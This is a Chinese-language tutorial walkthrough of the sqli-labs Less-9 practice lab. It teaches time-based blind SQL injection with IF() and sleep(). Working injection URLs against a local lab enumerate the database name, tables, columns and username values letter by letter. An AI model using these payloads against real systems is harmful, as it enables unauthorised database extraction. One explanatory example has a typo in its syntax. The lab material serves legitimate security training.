sqli-labs (less-9)
补充知识
本关将介绍与Boolean盲注非常相似的另一种注入方法——时间盲注。他与Boolean盲注的不同之处在于,时间注入是利用sleep()或benchmark()等函数让MySQL的执行时间变长。时间盲注多与IF(expr1,expr2,expr3)结合使用,此if语句含义是:如果expr1是TRUE,则IF()的返回值为expr2;否则返回值则为expr3。
例:
if (length(database())>1,1,sleep(5))
,这句语句的意思是查看当前数据库的长度是否大于1,大于1则查询1,小于1MySQL查询休眠5秒
if (substr(database()),1,1='s',1,sleep(5))
,这句语句的意思是查看当前数据库的第一个字母是否为’s’,为’s’则查询1,不为’s’MySQL查询休眠5秒
less-9
为了更直观的能看到休眠的过程,这里我们直接使用burpsuite抓包
这里我们发现我们不论是输入1,1’,1",返回的结果都是 You are in…,这里闭合因为返回的都是You are in…,我们只能一个一个去试,常见包裹id的方法我在less-7说过,所以我们这里只能选择时间盲注
这里时间反应依然很快,我们排除数字型注入
这里我们可以看到右下角的反应时间为5秒,也说明了为字符型注入
因为时间盲注的方法跟Boolean盲注的方法大同小异,这里我们继续使用burpsuite进行暴力破解
判断当前数据库长度
http://127.0.0.1/sql1/Less-9/?id=1' and if(length(database())=4,1,sleep(5))--+
8的长度不一样,我们判断当前数据库的长度为8
查看当前数据库的第一个字母
http://127.0.0.1/sql1/Less-9/?id=1' and if(substr(database(),1,1)='a',1,sleep(5))--+
根据s的长度不同,判断当前数据库的第一个字母为s
改变substr和limit函数的索引值依次往后面猜解,这里不一一演示
查看security库下的第一张表的第一个字母
http://127.0.0.1/sql1/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='s',1,sleep(5))--+
根据e的长度不同,判断security库下的第一张表的第一个字母为e
改变substr和limit函数的索引值依次往后面猜解,这里不一一演示
查看users表下的第一个字段的第一个字母
http://127.0.0.1/sql1/Less-9/?id=1' and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='s',1,sleep(5))--+
根据u的长度不同,判断users表下的第一个字段的第一个字母为u
改变substr和limit函数的索引值依次往后面猜解,这里不一一演示
查username字段的第一个值得第一个字母
http://127.0.0.1/sql1/Less-9/?id=1' and if(substr((select username from security.users limit 0,1),1,1)='s',1,sleep(5))--+
根据d的长度不同,判断username字段的第一个值的第一个字母为d
改变substr和limit函数的索引值依次往后面猜解,这里不一一演示